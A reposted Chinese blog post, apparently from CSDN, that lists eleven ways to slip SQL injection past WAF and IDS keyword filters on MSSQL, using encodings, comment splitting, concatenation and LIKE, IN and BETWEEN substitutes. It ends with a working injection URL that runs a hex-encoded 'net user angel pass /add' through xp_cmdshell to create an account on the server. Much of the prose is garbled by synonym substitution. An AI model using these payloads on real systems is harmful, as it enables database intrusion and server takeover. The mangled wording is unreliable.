一些绕过WAF与防SQL注入的策略

一样平常通用过滤字符串的要害字有以下这些:
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
而这里最难处理赏罚的就是select这个要害字了,那么我们奈何来打破他们呢?题目虽未完全办理,但照旧说出来与各人分享一下,但愿能抛砖引玉。
对付要害字的过滤,以下是我网络的以及我小我私人的一些设法。
1、运用编码技能绕过
如URLEncode编码,ASCII编码绕过。譬喻or 1=1即%6f%72%20%31%3d%31,而Test也可觉得CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格取代一个空格,用Tab取代空格等,可能删除全部空格,如or’ swords’ =‘swords’ ,因为mssql的疏松性,我们可以把or ‘swords’ 之间的空格去掉,并不影响运行。
3、运用字符串判定取代
用经典的or 1=1判定绕过,如or ‘swords’ =‘swords’,这个要领就是网上在接头的。
4、通过范例转换修饰符N绕过
可 以嗣魅这是一个不错的设法,他除了能在某种水平上绕过限定,并且尚有此外浸染,各人本身好好想想吧。关于操作,如or ‘swords’ = N’ swords’ ,大写的N汇报mssql server 字符串作为nvarchar范例,它起到范例转换的浸染,并不影响打针语句自己,可是可以避过基于常识的模式匹配IDS。
5、通过+号拆解字符串绕过
结果值得考据,但事实是一种要领。如or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ ……’ )
6、通过LIKE绕过
早年怎么就没想到呢?如or ‘swords’ LIKE ‘sw’!!!显然可以很轻松的绕过"=" ">"的限定……
7、通过IN绕过
与上面的LIKE的思绪差不多,如or ‘swords’ IN (‘swords’)
8、通过BETWEEN绕过
如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
9、通过>可能<绕过
or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3
……
10、运用注释语句绕过
用//取代空格,如:UNION // Select //user,pwd,from tbluser
用/
/支解敏感词,如:U// NION // SE// LECT //user,pwd from tbluser
11、用HEX绕过,一样平常的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
其它,关于通用点的过滤要领,我们可以思量回收赋值的要领,譬喻先声明一个变量a,然后把我们的指令赋值给a,然后挪用变量a最终执行我们输入的呼吁。变量a可所以任何呼吁。如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
结果:
http://www.XXX.com /show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–
个中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是"net user angel pass /add"的意思。
这个是打破单个如NoSqlHack这类文件的。但我以为最重要的是要思量处事器的安详,设置安详,有健全的防火墙和杀毒软件。就这样吧。也好久没更新Bolg了。

发布了12 篇原创文章 · 获赞 13 · 访问量 2782

猜你喜欢

转载自blog.csdn.net/qq_43573676/article/details/89344931